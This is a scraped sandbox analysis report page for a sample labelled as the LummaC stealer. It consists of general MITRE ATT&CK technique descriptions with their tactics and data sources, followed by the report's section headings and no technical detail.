Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
file.exe